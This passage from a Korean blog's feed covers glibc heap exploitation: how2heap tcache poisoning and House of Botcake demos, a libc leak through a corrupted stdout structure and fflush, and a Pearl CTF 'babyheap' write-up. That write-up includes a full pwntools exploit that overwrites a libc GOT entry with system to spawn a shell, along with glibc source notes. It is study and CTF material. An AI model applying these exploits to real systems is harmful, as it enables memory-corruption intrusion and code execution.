           &quot;in the fastbin. If the stack address that we want to overwrite is not zero\n&quot;
           &quot;then we need to free exactly 6 more pointers, otherwise the attack will\n&quot;
           &quot;cause a segmentation fault. But if the value on the stack is zero then\n&quot;
           &quot;a single free is sufficient.\n\n&quot;);

    // Fill the fastbin.
    for (i = 8; i &lt; 14; i++) free(ptrs[i]);

    // Create an array on the stack and initialize it with garbage.
    size_t stack_var[6];
    memset(stack_var, 0xcd, sizeof(stack_var));

    printf(&quot;The stack address that we intend to target: %p\n&quot;
           &quot;It&#39;s current value is %p\n&quot;, &amp;stack_var[2], (char*)stack_var[2]);

    printf(&quot;Now we use a vulnerability such as a buffer overflow or a use-after-free\n&quot;
            &quot;to overwrite the next pointer at address %p\n\n&quot;, victim);

    //------------VULNERABILITY-----------

    // Overwrite linked list pointer in victim.
    // The following operation assumes the address of victim is known, thus requiring
    // a heap leak.
    *(size_t**)victim = (size_t*)((long)&amp;stack_var[0] ^ ((long)victim &gt;&gt; 12));

    //------------------------------------

    printf(&quot;The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n&quot;);

    // Empty tcache.
    for (i = 0; i &lt; 7; i++) ptrs[i] = malloc(allocsize);

    printf(&quot;Let&#39;s just print the contents of our array on the stack now,\n&quot;
            &quot;to show that it hasn&#39;t been modified yet.\n\n&quot;);

    for (i = 0; i &lt; 6; i++) printf(&quot;%p: %p\n&quot;, &amp;stack_var[i], (char*)stack_var[i]);

    printf(&quot;\n&quot;
           &quot;The next allocation triggers the stack to be overwritten. The tcache\n&quot;
           &quot;is empty, but the fastbin isn&#39;t, so the next allocation comes from the\n&quot;
           &quot;fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n&quot;
           &quot;Those 7 chunks are copied in reverse order into the tcache, so the stack\n&quot;
           &quot;address that we are targeting ends up being the first chunk in the tcache.\n&quot;
           &quot;It contains a pointer to the next chunk in the list, which is why a heap\n&quot;
           &quot;pointer is written to the stack.\n&quot;
           &quot;\n&quot;
           &quot;Earlier we said that the attack will also work if we free fewer than 6\n&quot;
           &quot;extra pointers to the fastbin, but only if the value on the stack is zero.\n&quot;
           &quot;That&#39;s because the value on the stack is treated as a next pointer in the\n&quot;
           &quot;linked list and it will trigger a crash if it isn&#39;t a valid pointer or null.\n&quot;
           &quot;\n&quot;
           &quot;The contents of our array on the stack now look like this:\n\n&quot;);

    malloc(allocsize);

    for (i = 0; i &lt; 6; i++) printf(&quot;%p: %p\n&quot;, &amp;stack_var[i], (char*)stack_var[i]);

    char *q = malloc(allocsize);
    printf(&quot;\n&quot;
            &quot;Finally, if we malloc one more time then we get the stack address back: %p\n&quot;, q);

    assert(q == (char *)&amp;stack_var[2]);

    return 0;
}</code></pre>
<p><br></br>
&lt;실제 디버깅&gt;</p>
<ol>
<li>14개의 청크를 free한 상태</li>
</ol>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/63ca23ac-bc37-4fc0-90cd-5d7c46271760/image.png" alt=""></p>
<ol start="2">
<li>victim chunk의 next ptr을 변조한 상태
<img src="https://velog.velcdn.com/images/chk_pass/post/cec8523b-0d04-42d3-8776-e2d4c80199a2/image.png" alt=""></li>
</ol>
<ol start="3">
<li>tcache를 비운 상태</li>
</ol>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/1ffea91e-dfee-4578-92b8-b44c91164e66/image.png" alt=""></p>
<ol start="4">
<li><p>추가로 하나의 청크를 할당해서 fastbin의 청크가 tcache로 이동한 상태(순서가 바뀐것을 볼 수 있음)</p>
<p> fastbin에서 가장 첫 청크는 해제해서 사라지고, 가장 안쪽에 있던 invalid값만 fastbind에 남은 것을 볼 수 있음(이 값에 대해서는 검증절차가 진행되지 않음)</p>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/d90be762-0149-417d-9286-0548da060468/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Heap exploit - House of botcake]]></title>
            <link>https://velog.io/@chk_pass/Heap-exploit-House-of-botcake</link>
            <guid>https://velog.io/@chk_pass/Heap-exploit-House-of-botcake</guid>
            <pubDate>Tue, 09 Apr 2024 03:55:40 GMT</pubDate>
            <description><![CDATA[<p>&gt;glibc 2.25에서 가능</p>
<aside>
💡 tcache에서 key값을 변조하지 않고 dfb를 트리거할 수 있는 공격방법

</aside>

<p><br></br>
<strong>&lt;익스 시나리오&gt;</strong></p>
<p>=========사전 준비=========</p>
<ol>
<li>0x100 크기의 청크 7개 할당 (추후에 tcache를 채우기 위함)</li>
<li>0x100크기의 병합을 위한 청크 1개 할당 (=prev chunk)</li>
<li>Double free할 0x100크기의 청크 할당 (= vicitm chunk)</li>
<li>탑 청크와의 병합을 방지할 패딩 용 0x10크기의 청크 할당 </li>
</ol>
<p>==========공격 수행==========</p>
<ol>
<li>1에서 할당한 7개의 청크 free(tcache가 가득 찬다)</li>
<li>Victim chunk를 free해서 unsorted bin에 넣는다.</li>
<li>Prev chunk를 free해서 victim chunk와 병합시킨다. (unsorted bin에서 병합된 상태로 존재)</li>
<li>0x100바이트의 추가적인 동적할당을 통해 tcache에 자리를 만든다. </li>
<li>그리고 victim chunk를 다시 free하면 double free가 가능하다. (이전에 free한 victim chunk는 병합되어 unsorted bin에 있는 상태 + 지금 free한 victim chunk는 tcache의 빈자리에 들어가므로 double free 보호기법 우회 가능)</li>
</ol>
<p><br></br></p>
<p>&lt;원리&gt;</p>
<p>이것이 가능한 이유는 free 과정에서 청크를 tache에 넣을 때는 오로지 청크의 key값이 <code>tcache_key</code>와 동일한지의 여부만으로 double free를 검사하기 때문이다. </p>
<p>이미 unsorted bin에 존재하고 있는 victim chunk는 unsorted bin에 있기 때문에 key값의 위치에는 main_arena영역의 특정 값이 존재한다. 이 값이 <code>tcache_key</code> 와는 같을리가 없으므로 보호기법을 우회하여 tcache에 중복해 무사히 들어갈 수 있다. </p>
<p>따라서 victim청크를 병합시켜 unsorted bin에 넣어놓은 후 의도적으로 tcache를 비워 그 청크를 또 tcache에 넣어버린다면 double free를 할 수 있다. </p>
<p><br></br></p>
<p>&lt;house of botcake 코드&gt; - how2heap glibc 2.35기준</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdint.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;assert.h&gt;

int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts(&quot;This file demonstrates a powerful tcache poisoning attack by tricking malloc into&quot;);
    puts(&quot;returning a pointer to an arbitrary location (in this demo, the stack).&quot;);
    puts(&quot;This attack only relies on double free.\n&quot;);

    // prepare the target
    intptr_t stack_var[4];
    puts(&quot;The address we want malloc() to return, namely,&quot;);
    printf(&quot;the target address is %p.\n\n&quot;, stack_var);

    // prepare heap layout
    puts(&quot;Preparing heap layout&quot;);
    puts(&quot;Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.&quot;);
    intptr_t *x[7];
    for(int i=0; i&lt;sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    intptr_t *prev = malloc(0x100);
    printf(&quot;Allocating a chunk for later consolidation: prev @ %p\n&quot;, prev);
    intptr_t *a = malloc(0x100);
    printf(&quot;Allocating the victim chunk: a @ %p\n&quot;, a);
    puts(&quot;Allocating a padding to prevent consolidation.\n&quot;);
    malloc(0x10);

    // cause chunk overlapping
    puts(&quot;Now we are able to cause chunk overlapping&quot;);
    puts(&quot;Step 1: fill up tcache list&quot;);
    for(int i=0; i&lt;7; i++){
        free(x[i]);
    }
    puts(&quot;Step 2: free the victim chunk so it will be added to unsorted bin&quot;);
    free(a);

    puts(&quot;Step 3: free the previous chunk and make it consolidate with the victim chunk.&quot;);
    free(prev);

    puts(&quot;Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n&quot;);
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/

    puts(&quot;Now we have the chunk overlapping primitive:&quot;);
    int prev_size = prev[-1] &amp; 0xff0;
    int a_size = a[-1] &amp; 0xff0;
    printf(&quot;prev @ %p, size: %#x, end @ %p\n&quot;, prev, prev_size, (void *)prev+prev_size);
    printf(&quot;victim @ %p, size: %#x, end @ %p\n&quot;, a, a_size, (void *)a+a_size);
    a = malloc(0x100);
    memset(a, 0, 0x100);
    prev[0x110/sizeof(intptr_t)] = 0x41414141;
    assert(a[0] == 0x41414141);

    return 0;
  }</code></pre>
<p><br></br>
&lt;실제 디버깅&gt;</p>
<p><strong>공격 수행-1 후의 상황</strong>
<img src="https://velog.velcdn.com/images/chk_pass/post/5e05ed2c-3c0c-4f12-a2da-f618b545de3a/image.png" alt=""></p>
<p><strong>공격수행-2 후의 상황</strong></p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/48f54137-570d-4f05-8d0b-a46c1051b735/image.png" alt=""></p>
<p><strong>공격 수행-4</strong></p>
<p>0x100 할당 1회 후
<img src="https://velog.velcdn.com/images/chk_pass/post/9e3ff7ab-377a-485b-93ca-806504f1510e/image.png" alt=""></p>
<p>parseheap 이 이상하긴 하지만 tcache entry를 살펴보면 7개 연속 청크 중 마지막이 할당되어 tcache에서 사라진 상태임</p>
<p>즉, prev chunk와 victim chunk는 병합된 상태로 unsorted bin에 존재 + tcache는 6개가 차있는 상태</p>
<p><strong>victim chunk free 후</strong></p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/ba0236e6-0b59-4ca5-a1e7-448e0743c514/image.png" alt=""></p>
<p>victim chunk가 tcache의 빈자리로 들어가게 됨.</p>
<p>즉, victim chunk는 tcache에도 있고 unsorted bin에도 (병합된 상태로) 있는 double free상태가 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[fflush를 이용한 libc leak]]></title>
            <link>https://velog.io/@chk_pass/fflush%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak</link>
            <guid>https://velog.io/@chk_pass/fflush%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak</guid>
            <pubDate>Fri, 29 Mar 2024 06:21:30 GMT</pubDate>
            <description><![CDATA[<p>stdout 구조체에 값을 쓸 수 있고, fflush(stdout)를 호출할 수 있을 경우 사용 가능한 libc leak 방법을 소개하려고 한다.</p>
<p><strong>libc leak이 필요한데 바이너리 내에 출력 함수가 아예 존재하지 않을 경우 사용할 수 있는 방법이다.</strong></p>
<p>다음은 <code>_IO_fflush</code>의 코드이다. 이 중 우리가 이용할 것은 <code>_IO_SYNC</code>이다. </p>
<pre><code class="language-c">int
_IO_fflush (_IO_FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}</code></pre>
<p>다음은 <code>_IO_SYNC(stdout)</code> 에 의해 수행되는 <code>_IO_new_file_sync</code> 함수이다. 이 중 <code>_IO_do_flush(fp)</code> 에 주목하자. </p>
<pre><code class="language-c">int
_IO_new_file_sync (_IO_FILE *fp)
{
  _IO_ssize_t delta;
  int retval = 0;

  /*    char* ptr = cur_ptr(); */
  if (fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;
  delta = fp-&gt;_IO_read_ptr - fp-&gt;_IO_read_end;
  if (delta != 0)
    {
#ifdef TODO
      if (_IO_in_backup (fp))
    delta -= eGptr () - Gbase ();
#endif
      _IO_off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
      if (new_pos != (_IO_off64_t) EOF)
    fp-&gt;_IO_read_end = fp-&gt;_IO_read_ptr;
      else if (errno == ESPIPE)
    ; /* Ignore error from unseekable devices. */
      else
    retval = EOF;
    }
  if (retval != EOF)
    fp-&gt;_offset = _IO_pos_BAD;
  /* FIXME: Cleanup - can this be shared? */
  /*    setg(base(), ptr, ptr); */
  return retval;
}</code></pre>
<p><code>_IO_do_flush</code> 는 매크로로 정의되어있고, 이는 내부에서 <code>_IO_do_write</code> 를 수행한다. </p>
<p>또한, <code>_IO_do_write</code> 는 <code>new_do_write</code> 를 수행한다. </p>
<pre><code class="language-c">#define _IO_do_flush(_f) \
  ((_f)-&gt;_mode &lt;= 0                                  \
   ? _IO_do_write(_f, (_f)-&gt;_IO_write_base,                      \
          (_f)-&gt;_IO_write_ptr-(_f)-&gt;_IO_write_base)              \
   : _IO_wdo_write(_f, (_f)-&gt;_wide_data-&gt;_IO_write_base,              \
           ((_f)-&gt;_wide_data-&gt;_IO_write_ptr                  \
            - (_f)-&gt;_wide_data-&gt;_IO_write_base)))


int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
      || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)</code></pre>
<p><code>new_do_write</code>의 내부를 살펴보면, <code>_IO_SYSWRITE</code> 가 존재하는 것을 확인할 수 있다.</p>
<pre><code class="language-c">static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp-&gt;_flags &amp; _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp-&gt;_offset = _IO_pos_BAD;
  else if (fp-&gt;_IO_read_end != fp-&gt;_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp-&gt;_IO_write_base - fp-&gt;_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp-&gt;_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp-&gt;_cur_column &amp;&amp; count)
    fp-&gt;_cur_column = _IO_adjust_column (fp-&gt;_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp-&gt;_IO_buf_base, fp-&gt;_IO_buf_base, fp-&gt;_IO_buf_base);
  fp-&gt;_IO_write_base = fp-&gt;_IO_write_ptr = fp-&gt;_IO_buf_base;
  fp-&gt;_IO_write_end = (fp-&gt;_mode &lt;= 0
               &amp;&amp; (fp-&gt;_flags &amp; (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp-&gt;_IO_buf_base : fp-&gt;_IO_buf_end);
  return count;
}</code></pre>
<p>흐름을 다시 정리해보면 다음과 같다.</p>
<p><code>_IO_fflush</code> ⇒ <code>_IO_new_file_sync</code> ⇒ <code>_IO_do_flush</code> ⇒ <code>_IO_do_write</code> ⇒ <code>new_do_write</code> ⇒ <code>_IO_SYSWRITE</code></p>
<p>우리가 신경써야 할 것은 1)<code>_IO_SYSWRITE</code> 에 도달하기 위해 만족시켜야 할 조건과, 2)<code>_IO_SYSWRITE</code> 가 궁극적으로 무엇을 출력하는지이다. </p>
<p>1)<code>_IO_SYSWRITE</code> 에 도달하기 위해 만족시켜야 할 조건</p>
<ol>
<li><code>fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base</code></li>
<li><code>fp-&gt;_IO_read_end != fp-&gt;_IO_write_base</code> 가 성립 x</li>
</ol>
<p>2)<code>_IO_SYSWRITE</code> 가 궁극적으로 무엇을 출력하는지</p>
<p><code>_IO_SYSWRITE</code>에 인자로 들어가는 것은 다음과 같다.</p>
<p> <code>_f, (_f)-&gt;_IO_write_base, (_f)-&gt;_IO_write_ptr-(_f)-&gt;_IO_write_base</code></p>
<p>즉, stdout의 <code>_IO_write_base</code> 에 leak하고 싶은 영역의 주소(ex. 특정함수의 got)를 넣고, <code>_IO_write_ptr</code> 은  <code>_IO_write_base</code> + 8만큼의 값을 써주면 내가 원하는 값을 총 8바이트 출력할 수 있게 된다. </p>
<p>따라서 결론적으로 우리가 해야할 일은 다음과 같다.</p>
<ol>
<li><p>stdout 구조체를 다음과 같이 변조한다.</p>
<p> 1) flag=0xfbad2802</p>
<p> 2) io_read_end=io_write_base  그리고 io_write_base 에는 got 적어주고, write_ptr에는 got+8 적어준다.</p>
<p> 3) buf_base는 0으로 세팅 </p>
</li>
<li><p>fflush(stdout)를 호출한다.</p>
</li>
</ol>
<p>3번 조건은 fclose를 이용할 때 추후 종료 루틴 시 오류 방지를 위한 것이라는데 fflush에서는 굳이 필요 없는거 같기도 하다. 왜냐하면 직접 다른 값을 넣고 디버깅해봤더니 오류가 나지 않고 정상적으로 leak 이후 함수가 종료된다. </p>
<p>문제를 풀던 중 아예 출력함수가 바이너리 내에 존재하지 않아 rop가 가능함에도 libc leak을 할 방법이 보이지 않았다. 그래서 fflush를 이용해 libc leak하는 방법을 찾던 중, fclose를 이용한 leak 방법에 대해 찾게 되었고, fflush와 fclose의 내부 루틴 중 fclose에서 이용한 함수와 겹치는 것이 존재한다는 것을 발견해서 fflush에 직접 적용해보며 알게 된 방법이다. 따라서 이와 동일한 방식을 fclose에도 적용할 수 있다.</p>
<p>이제 직접 디버깅하면서 확인해주자.
일단 stdout구조체를 앞선 조건에 맞게 변조하고 <code>fflush(stdout)</code>를 호출한 상황이다.</p>
<p><code>_IO_file_sync</code>가 호출되고 있다. 
<img src="https://velog.velcdn.com/images/chk_pass/post/fa322509-b9e3-4ea2-b9ec-05f88bd5f407/image.png" alt=""></p>
<p>다음으로는 <code>_IO_new_do_write</code>가 실행되는데, 인자를 살펴보면 우리가 변조한대로 stdout, got 주소, 출력할 size 순이다. 원래 size는 8이 되도록 하는 것이 일반적이지만 나는 그냥 내가 입력한대로 size가 정해지는지 확인하려고 16만큼 큰 수를 대입해봐서 0x10이 된 것이다. 
<img src="https://velog.velcdn.com/images/chk_pass/post/61cab2b0-a941-442b-9081-a972d02b8ca2/image.png" alt=""></p>
<p>다음으로는 <code>_IO_file_write</code>가 실행된다. 
<img src="https://velog.velcdn.com/images/chk_pass/post/43eb76df-fcb0-4e64-a109-ac5c0c8529a5/image.png" alt=""></p>
<p>그리고 최종적으로 그 내부에서 <code>write</code>함수가 실행되면서 값이 leak된다. </p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/b62565a4-3c3a-4247-928a-b1f7680f8b70/image.png" alt=""></p>
<p>pwntools 상에서도 libc관련 값이 받아지는 것을 확인할 수 있다. (디버깅은 로컬, 이 값은 리모트에서 확인해서 릭된 값은 다르다)
<img src="https://velog.velcdn.com/images/chk_pass/post/94ced29a-7f42-49aa-85d8-2c65c6775c00/image.png" alt=""></p>
<p>사용할 상황이 많을진 모르겠다만 만약 libc base가 필요하고 바이너리 내에 출력함수가 전무한 상황이라면 이 방법을 사용할 수 있겠다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Pearl CTF] babyheap WU]]></title>
            <link>https://velog.io/@chk_pass/Pearl-CTF-babyheap-WU</link>
            <guid>https://velog.io/@chk_pass/Pearl-CTF-babyheap-WU</guid>
            <pubDate>Mon, 11 Mar 2024 14:37:38 GMT</pubDate>
            <description><![CDATA[<p>힙 관련 문제이다.</p>
<pre><code>[Pearl CTF]
babyheap (pwn)
64 bit, Full relro, CANARY, NX, PIE</code></pre><p>우선 바이너리랑 libc파일이 주어져있다. 
먼저 아이다로 디컴파일해보자.</p>
<pre><code class="language-c">void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 choice; // [rsp+8h] [rbp-8h]

  sub_1249(a1, a2, a3);
  while ( 1 )
  {
    puts(&quot;\n1. Create note\n2. Delete note\n3. View notes\n4. Exit&quot;);
    printf(&quot;Enter choice &quot;);
    choice = sub_1290();
    if ( choice == 4 )
      exit(0);
    if ( choice &gt; 4 )
    {
LABEL_13:
      puts(&quot;Why would you do that.&quot;);
    }
    else if ( choice == 3 )
    {
      view();
    }
    else
    {
      if ( choice &gt; 3 )
        goto LABEL_13;
      if ( choice == 1 )
      {
        create();
      }
      else
      {
        if ( choice != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}</code></pre>
<p>코드 상에서 볼 수 있듯이 보통 힙 문제의 전형이다. 
1=&gt; 할당
2=&gt; 해제
3=&gt; 출력
의 형태를 가지고 있다.</p>
<p>좀 더 상황을 정리해보면, 내가 원하는 크기만큼의 동적할당을 하고 초기에 한 번 동적할당한 곳에 입력을 할 수 있다. 
그리고 전역변수 배열에 인덱스로 접근하여 최대 16개의 할당 주소를 저장할 수 있다. 아마 여기서 UAF가 가능할 것이다. (해제 이후에도 전역변수에 해당 주소가 남아있기 때문에)</p>
<p>그리고 주어진 libc파일에서 오프셋 몇가지를 확인해보니까 glibc 2.35인 것을 확인할 수 있었다. 따라서 훅변수를 사용할 수 없다. (또한 safe linking 및 tcache alignment를 신경써주어야 한다) 방법을 생각해보니, view를 통해 출력할 때 puts의 인자를 원하는 것으로 넣을 수 있다. 따라서 힙 취약점을 이용해 aaw로 libc의 got를 system함수로 덮은 뒤 puts의 인자가 &quot;/bin/sh&quot;인 상태로 puts를 실행시키면 된다. </p>
<p>남은 것은 어떻게 libc base를 구하고 aaw를 터뜨릴지이다. </p>
<p>우선 libc base의 경우 unsorted bin을 활용해 leak하면 된다.</p>
<p>aaw의 경우에는 처음에 dfb를 활용하려고 했는데, 해제한 주소를 출력시키는 uaf는 가능해도, 해제한 주소에 값을 쓸 수는 없어 key값을 변조시킬 방법이 없었다. 이런 경우에는 두 가지 방법을 쓸 수 있다.</p>
<p>1) house of botcake
2) tcache stashing unlink</p>
<p>1번은 아직 공부를 못해서(..) 2번으로 익스를 시도했다.
2번 방법에 대해 간단하게 설명하자면, malloc의 내부 루틴에서는 tcache가 비어있는 상태에서 fastbin이나 smallbin 범위의 청크를 할당하면 요청크기에 해당하는 fastbin, smallbin의 청크들을 tcache가 다 찰 때까지 tcache bin에 넣어버리는 부분이 존재한다. (_int_malloc 분석 글 참고) 따라서 fastbin에서 double free를 일으키고 이 점을 이용해 double free된 청크를 tcache에 넣어버리면 key값의 변조 없이 tache dfb를 트리거할 수 있다. 정확하게는 모르지만 이를 이용한 기법을 tcache stashing unlink라고 한다고 한다. </p>
<p>즉 익스 시나리오는 다음과 같다.</p>
<ol>
<li>unsorted bin활용 libc leak</li>
<li>masking key leak(tcache의 가장 마지막 청크 활용)</li>
<li>aaw로 libc got overwrite</li>
<li>puts(&quot;/bin/sh&quot;) 실행</li>
</ol>
<p>최종 익스 코드는 아래와 같다.</p>
<pre><code class="language-python">from pwn import *
#64, Full relro, CANARY, NX, PIE


#p = process(&quot;./heap&quot;)
p = remote(&quot;dyn.ctf.pearlctf.in&quot;, 30010)
#libc = ELF(&quot;./libc.so.6&quot;)
system_offset =   0x50d60 #libc.symbols[&#39;system&#39;]  


#context.log_level = &#39;debug&#39;
#22.04로 추정=&gt; 훅변수 x

#3 =&gt; 출력하는 부분에서 puts의 인자를 원하는 것으로 넣을 수 있음
#힙 취약점으로 puts중에서 libc의 got를 system함수로 덮고 puts의 인자가 /bin/sh인 상태로 puts를 실행시키면 쉘 따짐


def create(index, size, content):
    p.sendline(b&quot;1&quot;)
    p.sendlineafter(b&quot;Index&quot;, str(index).encode())
    p.sendlineafter(b&quot;Size&quot;, str(size).encode())
    p.sendlineafter(b&quot;Content&quot;, content)

def delete(index):
    p.recvuntil(b&#39;choice&#39;)
    p.sendline(b&quot;2&quot;)
    p.sendlineafter(b&quot;Index&quot;, str(index).encode())

def view(index):
    p.sendline(b&quot;3&quot;)
    p.sendlineafter(b&quot;Index&quot;, str(index).encode())


#1. libc base 구하기
for i in range(9):
    create(i, 0x200, b&quot;AAAA&quot;)

for i in range(8):
    delete(i)



view(7)
p.recvuntil(b&quot;&gt; &quot;)
libc_base = u64(p.recvline().strip()+b&quot;\x00\x00&quot;) - 0x219ce0 #0x21ace0 
#log.info(hex(libc_base)) 

#2.masking key
view(0)
p.recvuntil(b&quot;&gt; &quot;)
masking_key = u64(p.recvline().strip()+b&quot;\x00\x00\x00&quot;) 
#log.info(hex(masking_key)) 

#3. aaw 따기


offset = 0x219098 #0x21a098

for i in range(9):
    create(i, 0x18, b&quot;AAAA&quot;)
for i in range(7):
    delete(i)



delete(7)
delete(8)
delete(7)
pause()

for i in range(7):
    create(i, 0x18, b&quot;AAAA&quot;)



log.info(hex(libc_base))
log.info(hex(masking_key))

create(0, 0x18, p64((masking_key+1) ^ (libc_base+offset-8)))  
create(0, 0x18, b&quot;AAAA&quot;)
create(4, 0x18, b&quot;/bin/sh\x00&quot;)
create(1, 0x18, p64(system_offset+libc_base)+p64(system_offset+libc_base))


#4. system(&quot;/bin/sh&quot;) 실행


view(4)


p.interactive()</code></pre>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/78dbad0c-c26b-4e63-b1b5-e66d2d792b3f/image.png" alt="">
쉘이 따졌다. </p>
<p>이 문제.. 로되리안 때문에 거의 며칠동안 삽질했는데 알고보니 오프셋 문제였다. 
뭔가 이상해서 libc를 다시 다운받아 확인했더니 이전에 확인했던 오프셋과 달라져있었다(??) 진짜 뭐지? 
처음엔 내가 그냥 실수한건 줄 알았는데 로되리안이라고 올린 다른 분 코드를 보니까 나랑 오프셋이 완전하게 동일했다. 뭔가 중간에 libc가 바뀐거 같은데.. 이거때문에 몇시간을 버렸는지 모르겠다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Glibc분석]_int_malloc (2.36)]]></title>
            <link>https://velog.io/@chk_pass/Glibc%EB%B6%84%EC%84%9Dintmalloc-2.36</link>
            <guid>https://velog.io/@chk_pass/Glibc%EB%B6%84%EC%84%9Dintmalloc-2.36</guid>
            <pubDate>Thu, 22 Feb 2024 18:17:15 GMT</pubDate>
            <description><![CDATA[<p>이전에 개인적으로 __libc_malloc을 살펴본 적이 있는데, __libc_malloc 내부에서 _int_malloc의 호출이 이루어졌었다. 그때 분석한 바로는 tache bin에 있는 청크의 재할당은 __libc_malloc에서 이루어졌었고 그 외의 상황에서는 _int_malloc을 호출하였던 것으로 기억하는데, 그래서 이후에 꼭 _int_malloc도 살펴봐야겠다고 생각했는데 이번 기회에 살펴보게 되었다. __libc_malloc의 분석내용과 연결지으며 살펴봐야겠다. </p>
<p>현재 속하는 arena인 av와 할당할 크기인 bytes를 입력받고 할당된 주소값을 반환한다. </p>
<pre><code class="language-c">static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  unsigned int idx;                 /* associated bin index */
  mbinptr bin;                      /* associated bin */

  mchunkptr victim;                 /* inspected/selected chunk */
  INTERNAL_SIZE_T size;             /* its size */
  int victim_index;                 /* its bin index */

  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */

  unsigned int block;               /* bit map traverser */
  unsigned int bit;                 /* bit map traverser */
  unsigned int map;                 /* current word of binmap */

  mchunkptr fwd;                    /* misc temp for linking */
  mchunkptr bck;                    /* misc temp for linking */

#if USE_TCACHE
  size_t tcache_unsorted_count;        /* count of unsorted chunks processed */
#endif</code></pre>
<p>그 외에도 여러 변수들을 선언하는데 추후에 필요할 때 언급할 예정이다. </p>
<pre><code class="language-c">/*
     Convert request size to internal form by adding SIZE_SZ bytes
     overhead plus possibly more to obtain necessary alignment and/or
     to obtain a size of at least MINSIZE, the smallest allocatable
     size. Also, checked_request2size returns false for request sizes
     that are so large that they wrap around zero when padded and
     aligned.
   */

  nb = checked_request2size (bytes);
  if (nb == 0)
    {
      __set_errno (ENOMEM);
      return NULL;
    }

  /* There are no usable arenas.  Fall back to sysmalloc to get a chunk from
     mmap.  */
  if (__glibc_unlikely (av == NULL))
    {
      void *p = sysmalloc (nb, av);
      if (p != NULL)
    alloc_perturb (p, bytes);
      return p;
    }</code></pre>
<p>우선 할당을 원하는 크기인 bytes를 청크의 크기로 변환하여 nb에 저장한다. </p>
<p>만약 nb가 0이라면 null을 반환하고 malloc을 종료한다. </p>
<p>그리고 현재 arena를 의미하는 av가 널이라면, 즉 usable arenas가 없다면 sysmalloc을 호출하여   mmap으로부터 청크를 얻어 반환한다. (return p)</p>
<p>위의 두 가지 경우 중 어디에도 해당되지 않는다면 계속 코드를 진행한다. </p>
<p>밑부분을 간단하게 살펴보면, if문-if문-else 문으로 크게 나뉠 수 있는데 구조는 다음과 같다.</p>
<ol>
<li>if문 ⇒ fastbin 크기</li>
<li>if문 ⇒smallbin 크기</li>
<li>else문 ⇒ largebin 크기</li>
</ol>
<p>이 구조를 기억하면서 코드를 살펴보자.</p>
<h3 id="1-if문-⇒-fastbin-크기">1. if문 ⇒ fastbin 크기</h3>
<pre><code class="language-c">/*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */

  if ((unsigned long) (nb) &lt;= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &amp;fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
    {
      if (__glibc_unlikely (misaligned_chunk (victim)))
        malloc_printerr (&quot;malloc(): unaligned fastbin chunk detected 2&quot;);

      if (SINGLE_THREAD_P)
        *fb = REVEAL_PTR (victim-&gt;fd);
      else
        REMOVE_FB (fb, pp, victim);
</code></pre>
